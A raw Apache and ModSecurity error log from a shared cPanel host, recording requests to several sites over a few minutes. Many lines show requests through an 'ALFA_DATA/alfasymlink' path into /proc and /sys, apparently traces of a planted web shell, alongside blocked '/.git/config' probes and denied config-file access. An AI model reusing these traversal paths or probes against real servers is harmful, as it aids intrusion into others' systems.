[Mon Oct 26 01:32:45.858203 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7l8fLdnYlTYsUh9u6qGgAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:32:45.858268 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7l8fLdnYlTYsUh9u6qGgAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:32:59.157593 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 85.208.96.195:12168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/recent_recipient_mail_server_ips
[Mon Oct 26 01:33:06.567212 2026] [core:error] [pid 2967985:tid 2967985] (13)Permission denied: [client 185.191.171.10:20066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/free_calls
[Mon Oct 26 01:33:18.182874 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 98.84.60.17:64181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:22.151553 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 18.213.102.186:4983] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:30.225409 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 3.225.9.97:23372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:34.144174 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 52.7.33.248:11069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:42.130715 2026] [ssl:error] [pid 2968421:tid 2968421] (5)Input/output error: [client 98.83.72.38:37645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:46.271148 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 54.167.32.123:22138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:54.245984 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.54.95.127:47879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:33:54.449137 2026] [authz_core:error] [pid 2968421:tid 2968421] [client 66.175.213.4:32556] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:34:00.201144 2026] [authz_core:error] [pid 2967444:tid 2967444] [client 93.159.230.28:55220] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 01:34:10.131347 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 18.211.148.239:21517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:34:13.194908 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 85.208.96.200:10512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:34:22.225668 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 3.222.85.38:28164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:05/physical_node/resource1
[Mon Oct 26 01:34:26.146036 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 44.193.115.232:17580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:34:34.123375 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 54.166.126.132:47297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:34:42.124942 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 18.235.158.19:57216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:34:54.134689 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 52.1.106.130:47179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:02.248760 2026] [core:error] [pid 2972400:tid 2972400] (13)Permission denied: [client 44.221.227.90:54666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/subsystem/drivers_probe
[Mon Oct 26 01:35:04.983363 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 185.191.171.10:56610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/destroy_by_rcu
[Mon Oct 26 01:35:22.117426 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.209.174.110:44668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:26.123631 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 34.226.89.140:51276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:34.168377 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 52.201.155.215:36626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:42.140819 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 54.90.244.132:24356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/drivers/ec/bind
[Mon Oct 26 01:35:50.174437 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 18.213.70.100:22648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:54.156920 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 54.89.90.224:57098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:35:58.280065 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 3.93.98.99:22889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:03.368871 2026] [authz_core:error] [pid 2967985:tid 2967985] [client 172.104.11.51:9814] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:36:10.116581 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.93.98.99:22228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:16.850331 2026] [core:error] [pid 2967985:tid 2967985] (13)Permission denied: [client 185.191.171.16:58460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/min_partial
[Mon Oct 26 01:36:18.128333 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 52.7.13.143:42093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:22.116808 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 44.214.19.8:10321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:26.194560 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 18.206.47.187:4967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:28.746352 2026] [core:error] [pid 2967985:tid 2967985] (13)Permission denied: [client 185.191.171.3:15640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/serio_raw/sections/__ex_table
[Mon Oct 26 01:36:34.155584 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.205.213.231:29393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:46.115562 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.209.174.110:29371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:36:50.123116 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 23.21.250.48:44921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:00.412265 2026] [security2:error] [pid 2972400:tid 2972400] [client 85.208.96.202:32176] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libk5crypto.so"] [unique_id "at7m_J4MY0yN-z6TKYMM2QAAAAE"]
[Mon Oct 26 01:37:00.412308 2026] [security2:error] [pid 2972400:tid 2972400] [client 85.208.96.202:32176] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libk5crypto.so"] [unique_id "at7m_J4MY0yN-z6TKYMM2QAAAAE"]
[Mon Oct 26 01:37:08.334280 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 185.191.171.17:10866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ata_generic/sections/__mcount_loc
[Mon Oct 26 01:37:10.133359 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 3.223.181.32:40602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:12.555451 2026] [security2:error] [pid 2967984:tid 2967984] [client 20.151.218.88:26771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/fling.php"] [unique_id "at7nCKxIp0mEme_g4MiQQgAAAAk"]
[Mon Oct 26 01:37:12.555528 2026] [security2:error] [pid 2967984:tid 2967984] [client 20.151.218.88:26771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/fling.php"] [unique_id "at7nCKxIp0mEme_g4MiQQgAAAAk"]
[Mon Oct 26 01:37:18.125321 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 54.84.169.196:31355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/uhci_hcd/new_id
[Mon Oct 26 01:37:22.252133 2026] [ssl:error] [pid 2963547:tid 2963547] (5)Input/output error: [client 52.2.83.227:8707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:26.710415 2026] [core:error] [pid 2967984:tid 2967984] (13)Permission denied: [client 85.208.96.212:16630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/objs_per_slab
[Mon Oct 26 01:37:28.038965 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7nC89if2Wl_DKO7Xa_EAAAADM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:37:28.039058 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7nC89if2Wl_DKO7Xa_EAAAADM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:37:30.248139 2026] [ssl:error] [pid 2973028:tid 2973028] (70014)End of file found: [client 100.28.49.152:4167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:38.115367 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 18.206.47.187:51951] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:42.267576 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 3.217.171.106:62098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:43.911963 2026] [core:crit] [pid 2972400:tid 2972400] (13)Permission denied: [client 45.91.64.10:45070] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 01:37:43.998615 2026] [authz_core:error] [pid 2963588:tid 2963588] [client 176.32.193.16:37852] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:37:44.384848 2026] [core:crit] [pid 2971501:tid 2971501] (13)Permission denied: [client 45.91.64.10:57046] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 01:37:44.968157 2026] [core:crit] [pid 2963578:tid 2963578] (13)Permission denied: [client 45.91.64.10:57066] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 01:37:46.151454 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 52.45.194.165:57966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:51.828298 2026] [authz_core:error] [pid 2968015:tid 2968015] [client 195.178.110.31:37248] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:37:52.658074 2026] [authz_core:error] [pid 2973026:tid 2973026] [client 195.178.110.31:37252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:37:54.246608 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 44.197.76.210:62771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:37:58.137155 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 35.169.240.53:54377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:04.692580 2026] [core:error] [pid 2973029:tid 2973029] (13)Permission denied: [client 185.191.171.15:21480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/align
[Mon Oct 26 01:38:06.159678 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 35.171.141.42:34414] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:11.139637 2026] [security2:error] [pid 2968421:tid 2968421] [client 64.20.54.226:46888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/3HA9YJXJ1OO7S8J4YI_JN6U9A9Z3INW2"] [unique_id "at7nQ69HOFwLIIPpv8hGmgAAAAQ"]
[Mon Oct 26 01:38:11.139695 2026] [security2:error] [pid 2968421:tid 2968421] [client 64.20.54.226:46888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/3HA9YJXJ1OO7S8J4YI_JN6U9A9Z3INW2"] [unique_id "at7nQ69HOFwLIIPpv8hGmgAAAAQ"]
[Mon Oct 26 01:38:18.158953 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 52.204.71.8:8147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:22.339800 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 98.80.130.239:26032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource3
[Mon Oct 26 01:38:29.308570 2026] [authz_core:error] [pid 2973026:tid 2973026] [client 45.156.87.214:52848] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:38:30.374352 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 52.5.232.250:64027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:38.133069 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 3.223.181.32:11379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:42.148309 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 44.223.116.149:8490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:54.241756 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 52.6.232.201:46558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:07/subsystem/drivers_probe
[Mon Oct 26 01:38:58.135683 2026] [ssl:error] [pid 2968421:tid 2968421] (22)Invalid argument: [client 54.235.172.96:31456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:38:58.711166 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7nZt8riwHadHMxXEFzuAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:38:58.711213 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7nZt8riwHadHMxXEFzuAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:39:02.130381 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 100.28.133.214:5966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:14.117946 2026] [ssl:error] [pid 2973028:tid 2973028] (70014)End of file found: [client 52.45.77.169:6760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:18.110124 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 3.215.59.93:62066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:30.132665 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 44.223.232.55:26663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:34.199909 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 54.147.238.89:23819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:42.133434 2026] [ssl:error] [pid 2973028:tid 2973028] (70014)End of file found: [client 50.16.72.185:29279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:46.220128 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 107.22.208.39:35868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:39:54.166735 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 54.225.98.148:35711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:02.877877 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 85.208.96.197:19682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/objs_per_slab
[Mon Oct 26 01:40:22.122827 2026] [ssl:error] [pid 2973028:tid 2973028] (70014)End of file found: [client 3.214.176.44:53413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:26.155768 2026] [ssl:error] [pid 2968421:tid 2968421] (22)Invalid argument: [client 98.84.70.201:55296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:30.344697 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 35.169.119.108:11837] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:35.834288 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 85.208.96.202:51896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/objects
[Mon Oct 26 01:40:38.124947 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 18.209.137.234:56106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:41.456383 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 185.191.171.14:48000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/cpu_partial
[Mon Oct 26 01:40:45.379166 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7n0d8riwHadHMxXEFzwAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:40:45.379216 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7n0d8riwHadHMxXEFzwAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:40:50.127555 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 23.22.105.143:49247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:40:54.111286 2026] [core:error] [pid 2973029:tid 2973029] (13)Permission denied: [client 52.4.229.9:10874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/bind
[Mon Oct 26 01:41:15.054051 2026] [ssl:error] [pid 2973028:tid 2973028] (70014)End of file found: [client 85.208.96.203:44852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:41:18.145957 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 18.213.240.226:30603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:41:22.137997 2026] [ssl:error] [pid 2968421:tid 2968421] (22)Invalid argument: [client 44.195.145.102:33711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:41:32.903269 2026] [security2:error] [pid 2973028:tid 2973028] [client 144.172.105.154:53718] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDCX6hE-fJup-lUtqhwAAAAU"]
[Mon Oct 26 01:41:32.903565 2026] [security2:error] [pid 2973028:tid 2973028] [client 144.172.105.154:53718] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDCX6hE-fJup-lUtqhwAAAAU"]
[Mon Oct 26 01:41:32.903921 2026] [security2:error] [pid 2973028:tid 2973028] [client 144.172.105.154:53718] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDCX6hE-fJup-lUtqhwAAAAU"]
[Mon Oct 26 01:41:32.924071 2026] [security2:error] [pid 2963588:tid 2963588] [client 144.172.105.154:53704] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDEhKYrNeTnGv3xbKUAAAAEk"]
[Mon Oct 26 01:41:32.924264 2026] [security2:error] [pid 2963588:tid 2963588] [client 144.172.105.154:53704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDEhKYrNeTnGv3xbKUAAAAEk"]
[Mon Oct 26 01:41:32.924558 2026] [security2:error] [pid 2963588:tid 2963588] [client 144.172.105.154:53704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7oDEhKYrNeTnGv3xbKUAAAAEk"]
[Mon Oct 26 01:41:38.231929 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 34.195.60.66:61665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:41:42.259810 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 85.208.96.212:24960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/tmp/tmp.H5xfTDmh3t
[Mon Oct 26 01:41:47.346368 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7oG4B2F91qaH1mx9i0DgAAAAA"]
